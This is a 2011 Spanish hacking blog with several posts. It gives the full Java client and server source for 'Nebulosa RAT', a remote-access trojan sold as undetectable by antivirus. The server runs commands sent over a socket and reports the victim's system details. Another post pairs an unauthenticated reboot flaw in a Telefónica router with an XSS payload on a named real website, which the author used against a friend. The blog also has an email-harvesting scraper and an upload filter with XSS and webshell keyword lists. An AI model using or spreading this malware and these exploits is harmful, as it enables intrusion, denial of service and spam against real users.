jueves, 22 de diciembre de 2011

iGetSource

lo he llamo iGetSource.
Su utilidad es obtener información acerca de los registros de un servidor (auditoria web).


sirve para obtener información sobre un dominio basandose en estas tecnicas:
  • ping
  • averiguar ips de dominios
  • averiguar servidores de correos del dominio
  • averiguar los nombres de dominio de los servidores NS
  • descubrir registro de dominios TXT
  • descubrir registro de dominios CNAME
  • descubrir registro de dominios SOA
  • Mostrar toda la información sobre los registros de dominio y de la zona
  • Use IPv6 Query Transport (me da algun problema :S)
  • Reverse IP Lookup
  • obtener información TTL

Funciona del siguiente modo:
metes una direccion URL http://yahoo.com/index.xxx
la splitea dejando solo el dominio y luego ya utilizas las otras tecnicas

aqui el code:

import java.awt.Container;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JTextField;
import javax.swing.JTextArea;
import javax.swing.JScrollPane;
import java.io.BufferedReader; 
import java.io.InputStreamReader;
import java.io.IOException;

public class iGetSource {
    public static void main (String [ ] args){ iGetSource p = new iGetSource(); }

    static JFrame frmMain = new JFrame("Michb iGetSource (Desarrollado por RicardoMR)");
    static JButton cmdAdd = new JButton("Split");
    static JButton cmdAdd1 = new JButton("Ping");
    static JButton cmdAdd2 = new JButton("Traceroute");
    static JButton cmdAdd3 = new JButton("averiguar ips de dominios");
    static JButton cmdAdd4 = new JButton("averiguar servidores de correos del dominio");
    static JButton cmdAdd5 = new JButton("averiguar los nombres de dominio de los servidores (NS)");
    static JButton cmdAdd6 = new JButton("descubrir registro TXT");
    static JButton cmdAdd7 = new JButton("descubrir registro CNAME");
    static JButton cmdAdd8 = new JButton("descubrir registro SOA");
    static JButton cmdAdd9 = new JButton("Mostrar toda la información sobre los registros de dominio y de la zona");
    static JButton cmdAdd10 = new JButton("Use IPv6 Query Transport");
    static JButton cmdAdd11 = new JButton("Reverse IP Lookup");
    static JButton cmdAdd12 = new JButton("obtener información TTL");
    //static JButton cmdAdd12 = new JButton("f");
    static JLabel lblResult = new JLabel("");
    static Container cntMain = frmMain.getContentPane();
    static JTextField txtNumA = new JTextField("http://google.com");
    static JTextArea txtNumB = new JTextArea( "", 10, 15 );
    static JScrollPane pp = new JScrollPane(txtNumB);

    iGetSource() {

        lblResult.setText("Sistema Operativo: " + EjecutarComando.osName + ", Arquitectura " + EjecutarComando.Arch + ", Version " + EjecutarComando.Version);
        //(horizontal,vertical,anchura,altura)
        frmMain.setBounds(100, 300, 510, 540);
        frmMain.setVisible(true);
        frmMain.setResizable(false);
        frmMain.setLayout(null);

        cmdAdd.setBounds(240, 10, 70, 20);  
        cmdAdd1.setBounds(320, 10, 70, 20);  
        cmdAdd2.setBounds(400, 10, 100, 20);
        cmdAdd3.setBounds(10, 40, 190, 20);
        cmdAdd4.setBounds(210, 40, 290, 20);
        cmdAdd5.setBounds(10, 70, 490, 20);
        cmdAdd6.setBounds(10, 100, 240, 20);
        cmdAdd7.setBounds(260, 100, 240, 20);
        cmdAdd8.setBounds(10, 130, 490, 20);
        cmdAdd9.setBounds(10, 160, 490, 20);
        cmdAdd10.setBounds(10, 190, 172, 20);
        cmdAdd11.setBounds(184, 190, 140, 20);
        cmdAdd12.setBounds(325, 190, 175, 20);
        lblResult.setBounds(10, 220, 470, 20); 
        txtNumA.setBounds(10, 10, 210, 20);  
        txtNumB.setBounds(10,250,490,250); 
        pp.setBounds(10,250,490,250);

        cntMain.add(cmdAdd);  
        cntMain.add(cmdAdd1);  
        cntMain.add(cmdAdd2);
        cntMain.add(cmdAdd3);
        cntMain.add(cmdAdd4);
        cntMain.add(cmdAdd5);
        cntMain.add(cmdAdd6);
        cntMain.add(cmdAdd7);
        cntMain.add(cmdAdd8);
        cntMain.add(cmdAdd9);
        cntMain.add(cmdAdd10);
        cntMain.add(cmdAdd11);
        cntMain.add(cmdAdd12);
        cntMain.add(lblResult); 
        cntMain.add(pp);
        cntMain.add(txtNumA);

        cmdAdd.addActionListener(new Start_Add());  
        cmdAdd1.addActionListener(new Start_Add1());  
        cmdAdd2.addActionListener(new Start_Add2());
        cmdAdd3.addActionListener(new Start_Add3());
        cmdAdd4.addActionListener(new Start_Add4());
        cmdAdd5.addActionListener(new Start_Add5());
        cmdAdd6.addActionListener(new Start_Add6());
        cmdAdd7.addActionListener(new Start_Add7());
        cmdAdd8.addActionListener(new Start_Add8());
        cmdAdd9.addActionListener(new Start_Add9());
        cmdAdd10.addActionListener(new Start_Add10());
        cmdAdd11.addActionListener(new Start_Add11());
        cmdAdd12.addActionListener(new Start_Add12());

    }

    
}

/**********************************************************/

class Start_Add implements ActionListener {

    public void actionPerformed(ActionEvent arg0) {

        String url = iGetSource.txtNumA.getText();
        String[] items = url.split("/");
        iGetSource.lblResult.setText(items[2]);

    }
}
class Start_Add1 implements ActionListener {
    public void actionPerformed(ActionEvent arg1) {
        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"ping");
    }

}

class Start_Add2 implements ActionListener {

    public void actionPerformed(ActionEvent arg2) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"traceroute");
    }

}

class Start_Add3 implements ActionListener {

    public void actionPerformed(ActionEvent arg3) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"ipDom");
    }

}

class Start_Add4 implements ActionListener {

    public void actionPerformed(ActionEvent arg4) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"servMX");
    }

}

class Start_Add5 implements ActionListener {

    public void actionPerformed(ActionEvent arg5) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"NS");
    }

}

class Start_Add6 implements ActionListener {

    public void actionPerformed(ActionEvent arg6) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"TXT");
    }

}

class Start_Add7 implements ActionListener {

    public void actionPerformed(ActionEvent arg7) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"CNAME");
    }

}

class Start_Add8 implements ActionListener {

    public void actionPerformed(ActionEvent arg8) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"SOA");
    }

}

class Start_Add9 implements ActionListener {

    public void actionPerformed(ActionEvent arg9) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"regDomZona");
    }

}

class Start_Add10 implements ActionListener {

    public void actionPerformed(ActionEvent arg10) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"IPQT");
    }

}

class Start_Add11 implements ActionListener {

    public void actionPerformed(ActionEvent arg11) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"IPL");
    }

}

class Start_Add12 implements ActionListener {

    public void actionPerformed(ActionEvent arg12) {

        String pp = iGetSource.lblResult.getText();
        //System.out.println(pp);
        new EjecutarComando(pp,"TTL");
    }

}

/**********************************************************/

class EjecutarComando {

    static String osName = System.getProperty ( "os.name" );
    static String Arch = System.getProperty ( "os.arch" );
    static String Version = System.getProperty ( "os.version" );

    EjecutarComando(String dominio, String com){
        String i = dominio;
        String comando = com;

        String s = null;

        /*****************************************/

        if(comando == "ping"){

            comando = "ping -c 1 -a " + i;
        }

        if(comando == "traceroute"){
            comando = "traceroute "+ i;
        }

        if(comando == "ipDom"){
            comando = "host -t a " + i;
        }

        if(comando == "servMX"){
            comando = "host -t mx " + i;
        }

        if(comando == "NS"){
            comando = "host -t ns " + i;
        }        

        if(comando == "TXT"){
            comando = "host -t txt " + i;
        }        

        if(comando == "CNAME"){
            comando = "host -t cname " + i;
        } 

        if(comando == "SOA"){
            comando = "host -t soa " + i;
        } 

        if(comando == "regDomZona"){
            comando = "host -a " + i;
        }         

        if(comando == "IPQT"){
            comando = "host -6 -a" + i;
        }        

        if(comando == "IPL"){
            comando = "host " + i;
        }         

        if(comando == "TTL"){
            comando = "host -v -t a " + i;
        }         
        /*****************************************/

        try {

            Process p = Runtime.getRuntime().exec(comando);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));
            System.out.println("Ésta es la salida standard del comando:\n");

            if (!osName.equals("Windows 7")){
                String todo="";
                while ((s = stdInput.readLine()) != null) {

                    System.out.println(s);
                    todo = todo+s+"\n";

                    s=stdInput.readLine();
                    //iGetSource.txtNumB.setText(s);
                }
                stdInput.close();
                iGetSource.txtNumB.setText(todo);
            }

            //System.exit(0);

        } catch (IOException e) {
            System.out.println("Excepción: ");
            e.printStackTrace();

            //System.exit(-1);

        }
    }
}


/*
 * averiguar ips de dominios
"host -t a " + i;

averiguar servidores de correos del dominio
"host -t mx " + i;

averiguar los nombres de dominio de los servidores NS
"host -t ns " + i;

descubrir registro de dominios TXT
"host -t txt " + i;

descubrir registro de dominios CNAME
"host -t cname " + i;

descubrir registro de dominios SOA
"host -t soa " + i;

Mostrar toda la información sobre los registros de dominio y de la zona
"host -a " + i;

Use IPv6 Query Transport
"host -6 -a" + i;

Reverse IP Lookup
"host " + i;

obtener información TTL
"host -v -t a " + i;
 */

Nebulosa RAT Java FUD conexion directa

Remote Administration Tool, de conexión directa, Nebulosa
empeze practicando los sockets y al final termino en esto, quería mirarme algo sobre los thread pero ya me canse de seguir con este proyecto.

Requerimientos y posibles fallos
necesaria ip a la que se quiere conectar (si el host obtiene ip por un DHCP la ip varia)
Firewall a veces puede impedir la conexión
Antivirus a veces puede llegar a dar algún problema


  • si la conexión se va a realizar fuera de la red local necesario el "nateo" de los puertos en el router
  • Puerto por defecto 5000 tanto en el cliente como en el servidor
  • Programado desde 0 en JAVA
  • Multiplataforma
  • FUD

Video ejemplo:



caracteristicas:
obtiene las propiedades del sistema
textarea donde muestra el resultado del comando ejecutado en el host donde corre el server enviado
abre la disquetera (solo bajo windows)

seguro les servirá para aprender algo sobre JAVA

Salu2!

Descarga del SRC Aqui



Cliente
/**
 * Write a description of class R.A.T. Nebulosa here.
 * No me hago responsable del mal uso que se le de a este programa
 * se ha desarrollado con fines educativos y no ilícitos
 * cualquier daño hecho recaee toda la responsabilidad en el usuario
 *
 * @author (RicardoMR) 
 * @version (1.1)
 */

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket; 

import java.awt.Container;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JTextField;
import javax.swing.JLabel;

    import javax.swing.JTextArea;
    import javax.swing.JScrollPane;
    
    //import java.awt.*;
    import javax.swing.ImageIcon;
    
    import java.io.File;

public class Interfaz {
   public static void main (String [ ] args){ Interfaz p = new Interfaz(); }
   
   static JFrame frmMain = new JFrame("R.A.T. Nebulosa");
   static JButton cmdAdd = new JButton("Enviar");
   static JTextField txtNumA = new JTextField("ifconfig");
   static JLabel lblResult = new JLabel("IP");
   static JTextField txtNumA1 = new JTextField("localhost");
   static JLabel lblResult1 = new JLabel("Port");
   static JTextField txtNumA2 = new JTextField("5000");
   static JLabel lblResult2 = new JLabel("Sistema Operativo : ");
   static JLabel lblResult3 = new JLabel("Arquitectura: ");
   static JLabel lblResult4 = new JLabel("Version: ");
   
   static JLabel lblResult5 = new JLabel("Service Pack: ");
   static JLabel lblResult6 = new JLabel("Pais: ");
   static JLabel lblResult7 = new JLabel("Carpeta home: ");
   static JLabel lblResult8 = new JLabel("Lenguaje: ");
   static JLabel lblResult9 = new JLabel("Nombre de Usuario: ");
   static JLabel lblResult10 = new JLabel("Java Version: ");
   
   static JButton cmdAdd1 = new JButton("borrar");
   static JButton cmdAdd2 = new JButton("Disk");
   
   
   
   /**texto y cantidad de caracteres hacia la izq y hacia la derecha**/
   static JTextArea txtNumB = new JTextArea( "Resultado del Comando", 50, 50 );
   static JScrollPane pp = new JScrollPane(txtNumB);
   static JLabel FONDO;
   
   static Container cntMain = frmMain.getContentPane();
   
   
  Interfaz(){
      
        //JLabel FONDO = new JLabel(new ImageIcon("C:/aaaa.PNG"));
        FONDO = new JLabel(new ImageIcon(new File ("aaaa.png").getAbsolutePath ()));
        /***(horizontal,vertical,anchura,altura)**/
                
        frmMain.setBounds(500, 100, 710, 370);
        frmMain.setVisible(true);
        frmMain.setResizable(false);
        frmMain.setLayout(null);
        frmMain.add(FONDO);
        //frmMain.show();
        /*****************************************/
        txtNumA.setBounds(10, 10, 160, 20);
        cmdAdd.setBounds(180, 10, 70, 20); 
        lblResult.setBounds(10, 40, 70, 20);
        txtNumA1.setBounds(30, 40, 90, 20);
        lblResult1.setBounds(145, 40, 70, 20);
        txtNumA2.setBounds(180, 40, 70, 20);
        lblResult2.setBounds(10, 70, 240, 20);
        lblResult3.setBounds(10, 100, 240, 20);
        lblResult4.setBounds(10, 130, 240, 20);
        
        lblResult5.setBounds(10, 160, 240, 20);
        lblResult6.setBounds(10, 190, 240, 20);
        lblResult7.setBounds(10, 220, 240, 20);
        lblResult8.setBounds(10, 250, 240, 20);
        lblResult9.setBounds(10, 280, 240, 20);
        lblResult10.setBounds(10, 310, 240, 20);
        cmdAdd1.setBounds(180, 70, 70, 20);
        cmdAdd2.setBounds(180, 100, 70, 20);

            
        txtNumB.setBounds(280,10,410,320); 
        pp.setBounds(280,10,410,320);   
        FONDO.setBounds(0, -18, 710, 370);        
        /***************************/
    
        cntMain.add(txtNumA);
        cntMain.add(cmdAdd);
        cntMain.add(lblResult);
        cntMain.add(txtNumA1);
        cntMain.add(lblResult1);
        cntMain.add(txtNumA2);
        cntMain.add(lblResult2);
        cntMain.add(lblResult3);
        cntMain.add(lblResult4);
        
        cntMain.add(lblResult5);
        cntMain.add(lblResult6);
        cntMain.add(lblResult7);
        cntMain.add(lblResult8);
        cntMain.add(lblResult9);
        cntMain.add(lblResult10);
        cntMain.add(cmdAdd1);
        cntMain.add(cmdAdd2);
        cntMain.add(FONDO);
        
        
        cmdAdd.addActionListener(new Start_Add());  
        cmdAdd1.addActionListener(new Start_Add1());
        cmdAdd2.addActionListener(new Start_Add2()); 
        
        cntMain.add(pp);
    }
  
    
  static void informacion (String info){
     
     
     String corte = info;
     String[] items = corte.split("/!");
     
         
     lblResult2.setText(items[0]);
     lblResult3.setText(items[1]);
     lblResult4.setText(items[2]);
     lblResult5.setText(items[3]);
     lblResult6.setText(items[4]);
     lblResult7.setText(items[5]);
     lblResult8.setText(items[6]);
     lblResult9.setText(items[7]);
     lblResult10.setText(items[8]);
     txtNumB.setText(items[9]);
     


    }
}

class Start_Add implements ActionListener {
 
   public void actionPerformed(ActionEvent arg0) {
        String ip = Interfaz.txtNumA1.getText();
        int port = Integer.parseInt(Interfaz.txtNumA2.getText());
        
        String com = Interfaz.txtNumA.getText();
        String borrar = "no";
        String disq = "cerrado";
        //Socket_0 envioComando = new Socket_0(com, borrar, ip, port);
        new Socket_0(com, borrar, disq, ip, port);
      
   }
  
}

class Start_Add1 implements ActionListener {
 
   public void actionPerformed(ActionEvent arg1) {
        String ip = Interfaz.txtNumA1.getText();
        int port = Integer.parseInt(Interfaz.txtNumA2.getText());
        
        String com = "0";
        String borrar = "si";
        String disq = "cerrado";
        //Socket_0 envioComando = new Socket_0(com, borrar, ip, port);
        new Socket_0(com, borrar, disq, ip, port);
      
   }
  
}

class Start_Add2 implements ActionListener {
 
   public void actionPerformed(ActionEvent arg2) {
        String ip = Interfaz.txtNumA1.getText();
        int port = Integer.parseInt(Interfaz.txtNumA2.getText());
        
        String com = "0";
        String borrar = "no";
        String disq = "abrir";
        //Socket_0 envioComando = new Socket_0(com, borrar, ip, port);
        new Socket_0(com, borrar, disq, ip, port);
      
   }
  
}

class Socket_0{
    
    Socket Client;
    DataInputStream flujo;
    
    DataOutputStream salida;
    
    //Interfaz info;

    Socket_0(String com, String borrar, String disq, String ip, int port) {

        String u = com;
        String delete = borrar;
        String disquetera = disq;
        
        String todo = u+"/!"+delete+"/!"+disquetera;
        
        String HOST = ip;
        int PORT = port;
    
        try{
            Client = new Socket(HOST, PORT);
            
            
            //Envio de datos desde Cliente a Servidor
            salida = new DataOutputStream(Client.getOutputStream());
            salida.writeUTF(todo);
            
           /*******************************************************/
            //lectura de datos enviados desde Servidor al Cliente
            flujo = new DataInputStream(Client.getInputStream());  
            String envioI = flujo.readUTF();
                        
            
            
                        
            
            if(delete=="si"){
                envioInfo("");
            }else{

                envioInfo(envioI);

            }
            

            /*****************************************************/

            
            
            Client.close(); 
            
            

            
        } catch( Exception e ) {
            
            
            //System.out.println(e.getMessage());
            
        }
        
    }
    

    void envioInfo(String i){
        
        String ws = i;
        if(ws!=""){
            
            Interfaz.informacion(ws);
        }
        
    }
    

}

Servidor
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.net.Socket;
import java.net.ServerSocket; 
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.File;
import java.io.IOException;
import java.io.FileWriter;
import java.io.PrintWriter;
 
class Servidor {
    public static void main (String [ ] args){ Servidor p = new Servidor(); }
    int Port=5000;
    int numCli;
    
    ServerSocket Server;
    Socket Client;
    DataOutputStream flujo;
    
    DataInputStream salida;
    
    //EjecutarComando cmd;
    /**
       se necesita un control para comprobar que contiene algo estas funciones en caso de no contener
       nada se envia un "0"
       
       **/
   static String osName = System.getProperty ( "os.name" );
   static String Arch = System.getProperty ( "os.arch" );
   static String Version = System.getProperty ( "os.version" );
   
   static String SP = System.getProperty ( "sun.os.patch.level" );
   static String Country = System.getProperty ( "user.country" );
   static String dirUserHome = System.getProperty ( "user.home" );
   static String Lang = System.getProperty ( "user.language" );
   static String userName = System.getProperty ( "user.name" );
   static String VersionJV = System.getProperty ( "java.vm.version" );
   
   static String[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
   
  

 
    public Servidor(){
 

        valida();
        
        
        try {

            Server = new ServerSocket(Port);
 
            System.out.println("Escucho el puerto " + Port);

            for(numCli = 0; numCli < 2000; numCli++){
                
                Client = Server.accept(); 
                


                /*******************************************************/
                //lectura de datos enviados desde Servidor al Cliente
                salida = new DataInputStream(Client.getInputStream());
                String p = salida.readUTF();
                //System.out.println(p);
                
                String[] items = p.split("/!");
                //cmd = new EjecutarComando(items[0]);
                new EjecutarComando(items[0]);

                /******************************************************/
                
                                //Envio de datos desde Servidor al Cliente
                flujo = new DataOutputStream(Client.getOutputStream());
                flujo.writeUTF("S.O.: " + arrayDatos[0] + "/!Arquitectura: " + arrayDatos[1] + "/!Version: " + arrayDatos[2]
                + "/!Service Pack: " + arrayDatos[3] + "/!Pais: " + arrayDatos[4] + "/!Dir User Home: " + arrayDatos[5] + "/!Lenguaje: "
                + arrayDatos[6] + "/!Nombre Usuario: " + arrayDatos[7] + "/!Java Version: " + arrayDatos[8] + "/!" + EjecutarComando.resultadoCMD());

                if(items[2].length()<6){
                    new abrirDisquetera();
                    new EjecutarComando("fichero.bat");
                }
                
                
                Client.close();
                if(items[1]=="si"){
                    Server.close();
                }
            }
            
            System.out.println("Máximo de sockets recividos");
 
        } catch(Exception e) {

            //System.out.println(e.getMessage());
 
        }
        borrar();
    }
    
    void borrar(){
        System.exit(0);
    
    }

    void valida(){
                for(int i = 0; i> abredisk.vbs"); 
                pw.println            ("echo Set colCDROMs = oWMP.cdromCollection >> abredisk.vbs");
                pw.println            ("echo. >> abredisk.vbs"); 
                pw.println            ("echo if colCDROMs.Count >= 1 then >> abredisk.vbs"); 
                pw.println            ("echo          For i = 0 to colCDROMs.Count - 1 >> abredisk.vbs"); 
                pw.println            ("echo                   colCDROMs.Item(i).Eject >> abredisk.vbs"); 
                pw.println            ("echo          Next    ' cdrom >> abredisk.vbs"); 
                pw.println            ("echo End If >> abredisk.vbs"); 
                pw.println            ("start abredisk.vbs"); 
                pw.println            ("exit");
                
                
                
                
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
           try {

           if (null != ficheroI)
              ficheroI.close();
           } catch (Exception e2) {
              e2.printStackTrace();
           }
        }
    }



}

miércoles, 21 de diciembre de 2011

Reiniciando routers ultimo modelo de telefónica sin contraseña

Este fallo lo encontré con el spider de acunetix haciendole un scaneo de archivos y directorios a la web de configuración de mi router.
Les comento no es necesario darse de baja en el portal alejandra para aprovecharse de este fallo.
No es necesario conocer ni el user ni la password de acceso al router
este es el router del que hablo.

Router P-870HW-51A

el fallo se encuentra al ejecutar un archivo cgi, ubicado en el directorio raiz, un archivo llamado rebootinfo.cgi.
Para ejecutarlo y asi reiniciar el router se lanza una peticion HTTP a la direccion:
http://(IP del router)/rebootinfo.cgi
suele se la ip del router 192.168.1.1

Bueno partiendo de este fallo y combinandolo con un XSS en web vulnerable me propuse lanzar un ataque de 'denegacion de servicio' al router de un colega quedando así:

http://www.palmasport.es/00000/paginas/asp/preview_foto_galeria.asp?foto=&pie=<script>document.location.href='http://192.168.1.1/rebootinfo.cgi'</script>

por supuesto su conexión se corto y dejo de hablar conmigo xD.

por ultimo decirle que el envio reiterado de peticiones al router para reiniciarlo conlleva al bloqueo del router y posterior llamado a la central de telefónica para que lo desbloqueen jeje
(lo advierto por verme en esa situación)

-----------------------------------------------------------------------------------------------------------

Ahora ya queda en la imaginación de cada uno hacer por ejemplo un ataque a gran escala suponiendo que un router de estos da conexión tanto a los ordenadores de la red como al imagenio que viene con el router el cual transmite para los que no lo sepan imagen y sonidos al televisor asi que bloquear el router en un partido Barça Madrid a gran escala valla problemón que se les forma a los de telefónica que una pequeña o grande cantidad de sus usuarios se quejasen con la posterior baja de su servicio

NMDA v1

Bueno hoy hize esta herramienta permite visualizar el contenido de los archivos de un directorio desde el navegador, no es nada complicado lo que hace basicamente es crear un index.php para evitar visualizar el contenido del directorio y para visualizarlo le cambia el nombre.

Se me ocurrió la noche pasada y lo cierto es que es una bobada pero tal vez les den uso.


Codigo fuente:
<?php
error_reporting (E_ALL ^ E_NOTICE);


//////////////////////////////////////////////////////////////////////////////////
//    Modo de Acceso Seguro a un listado de archivos de un determinado directorio //
//    By Michb Para indetectables.net     //
//////////////////////////////////////////////////////////////////////////////////

//Importante: Alguna de estas funciones requieren tener permisos 0777 chmod para poder trabajar correctamente.
//Antes de nada establecer la contraseña.

$password="michb";

if (!$_POST['pass']==$password)
{
echo base64_decode("PGNlbnRlcj48aW1nIHNyYz0naHR0cDovL2ltZzIwNC5pbWFnZXNoYWNrLnVzL2ltZzIwNC8zNTQ1L3NpdGVsb2dvdy5wbmcnIGJvcmRlcj0nMCcvPjxicj48YnI+PGJyPjxicj48aDM+UGFuZWwgTk1EQSB2MTwvaDM+PGJyPjxmb3JtIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RW50cmFyPjwvZm9ybT48YnI+Cjxicj48YSBocmVmPSd3d3cuaW5kZXRlY3RhYmxlcy5uZXQnPkluZGV0ZWN0YWJsZXMubmV0PC9hPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+
PGJyPkRlc2Fycm9sbGFkbyBwb3IgTWljaEIgUGFyYSBpbmRldGVjdGFibGVzLm5ldDxicj48YnI+PC9jZW50ZXI+");
}



if(!$_POST['pass']==$password){
die;
}else{

$nombre = $_POST['name'];

if (isset($_POST['crear'])){

if (!is_dir('./'.$nombre.'')){
mkdir('./'.$nombre.'',0777);
}

if (!file_exists ('./'.$nombre.'/index.php')||!file_exists ('./'.$nombre.'/index.txt')){
$archivo = fopen("./".$nombre."/index.txt","a");
fclose ($archivo);
}

if(isset($_POST['acciondos']) && !isset($_POST['accionuno'])){
@rename("./".$nombre."/index.php", "./".$nombre."/index.txt");
}

if(isset($_POST['accionuno']) && !isset($_POST['acciondos'])){
@rename("./".$nombre."/index.txt", "./".$nombre."/index.php");
}

if(isset($_POST['accionuno']) && isset($_POST['acciondos'])){
echo "Elige una de las 2";
}

}else{

if(isset($_POST['acciondos']) && !isset($_POST['accionuno'])){
@rename("./".$nombre."/index.php", "./".$nombre."/index.txt");
}

if(isset($_POST['accionuno']) && !isset($_POST['acciondos'])){
@rename("./".$nombre."/index.txt", "./".$nombre."/index.php");
}

if(isset($_POST['accionuno']) && isset($_POST['acciondos'])){
echo "Elige una de las 2";
}
}    


echo base64_decode("PGJyPjxicj48YnI+PGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVD48YnI+PGJyPjxicj48aDI+TW9kIE1pY2hCIFBhcmEgaW5kZXRlY3RhYmxlcy5uZXQ8L2gyPjxicj48YnI+PGJyPjxiPk5vbWJyZSBkZSBsYSBjYXJwZXRhIGE6PC9iPiBDcmVhci9PY3VsdGFyL0Rlc29jdWx0YXI8Yj4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgYXV0b2NvbXBsZXRlPW9mZj48cD4KQ3JlYXIgdW5hIGNhcnBldGE6IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9Y3JlYXI+PHA+T2N1bHRhcjogPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hY2Npb251bm8+RGVzb2N1bHRhcjogPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hY2Npb25kb3M+PHA+VWx0aW1hIGhvcmEgZGUgYWNjZXNvIGEgbGEgYXBlcnR1cmEvY2llcnJlIGRlbCBkaXJlY3RvcmlvOiA8L2I+SmFudWFyeSAwMSAxOTcwIDAwOjAwOjAwLkphbnVhcnkgMDEgMTk3MCAwMDowMDowMC48cD48aW5wdXQgdHlwZT1zdWJtaXQ+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXBhc3MgdmFsdWU9PjwvZm9ybT48Y2VudGVyPjxiUj5MaXN0YWRvIGRlIGRpcmVjdG9yaW9zPGJSPg==");

function listar_directorios_ruta($ruta){ 
if (is_dir($ruta)) { 
if ($dh = opendir($ruta)) { 
while (($file = readdir($dh)) !== false) { 
if (is_dir($ruta . $file) && $file!="." && $file!=".."){ 
echo "
Directorio:$ruta$file"; 
listar_directorios_ruta($ruta . $file . "/"); 
} 
} 
closedir($dh); 
} 
}else 
echo "
No es ruta valida"; 
}
listar_directorios_ruta("./");
}

?> 

Obtener 'Strings' de 'X' web (2 modos)

hoy traigo este code que sobre todo nos sirve por ejemplo para el uso que le dí yo, para obtener una lista de correos de varias webs.

Método 1: con la libreria cURL;
Método 2: con file_get_contents;

< ?php
$c = curl_init('http://www.gobiernodecanarias.org/educacion/3/ALUMNADO/BecasMEC/scripts/default.asp?Op=60&id=1000');
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($c);
curl_close($c);

//$page = file_get_contents('http://www.gobiernodecanarias.org/educacion/3/ALUMNADO/BecasMEC/scripts/default.asp?Op=60&id=1000');


  $tmp = explode("String anterior a la string buscada",$page,2);
  $tmp1 = explode(" ",trim($tmp[1]),2);
  echo $tmp1[0]; 
 
?>



martes, 20 de diciembre de 2011

[Secure Uploader] v3 By MichBukana

tercera version de un uploader php, el añadido principal es que detecta posibles inyecciones XSS y webshells PHP en el archivo a subir



añadan a los 3 arrays $xss1, $xss2 y php indistintamentes si quieren mas expresiones relacionadas con XSS y webshells



Caracteristicas:
  • no se podrá sobreescribir un mismo archivo ( evita duplicación )
  • tamaño máximo de archivos a subir de 100kb
  • no sirve de nada el http live headers ' no lo pasa '
  • lleva un Filtro muy bueno tanto de XSS y ahora también de php
  • permitios: serán el tipo de archivo que se podrá subir, ahora mismo solo se permite la subida a archivos:
          jpg, png, gif, jpeg, txt, doc, docx
  • denegados: todos los demás no puestos en permitidos



Código PHP:
<?php
 
echo base64_decode('PGh0bWw+CjxoZWFkPgo8c3R5bGU+Ym9keXtiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrO2NvbG9yOnJl
ZDt9Cjwvc3R5bGU+CjwvaGVhZD4KPGNlbnRlcj4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9z
dCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+CjxpbWcgc3JjPSJodHRwOi8vaW1nMjA0
LmltYWdlc2hhY2sudXMvaW1nMjA0LzM1NDUvc2l0ZWxvZ293LnBuZyIgYm9yZGVyPSIwIj4KIAo8
cD48Zm9udCBjb2xvcj0iZ3JlZW4iPjxoMT5bU2VjdXJlIFVwbG9hZGVyXSB2MyBieSBNaWNoQnVr
YW5hPC9oMT48L2ZvbnQ+PC9wPjxiciAvPjxiciAvPgogCiAKPGlucHV0IG5hbWU9InVzZXJmaWxl
IiB0eXBlPSJmaWxlIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2FkZW5hdGV4dG8iIHZh
bHVlPSIxIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudmlhciI+CiAKPC9mb3JtPg==
');
 
error_reporting (E_ALL ^ E_NOTICE);
 
$saltolinea = base64_decode('PGJyIC8+');
 
if ($_POST['cadenatexto']!="")
{
  
$permitidos = array('jpg', 'png', 'gif', 'jpeg', 'txt', 'pdf');
$archivo = $_FILES['userfile']['name'];
$tio = $_FILES['userfile']['tmp_name'];
$prefijo = substr(md5(uniqid(rand())),0,6);
$destino =  "./subidos/".$prefijo."_".$archivo;
$tamano_archivo = $_FILES['userfile']['size'];
$val=file_get_contents($tio);
 
   if(!file_get_contents($tio))
   {
      echo "fallo";
      exit(0);
   }
$xss1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script',
              'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
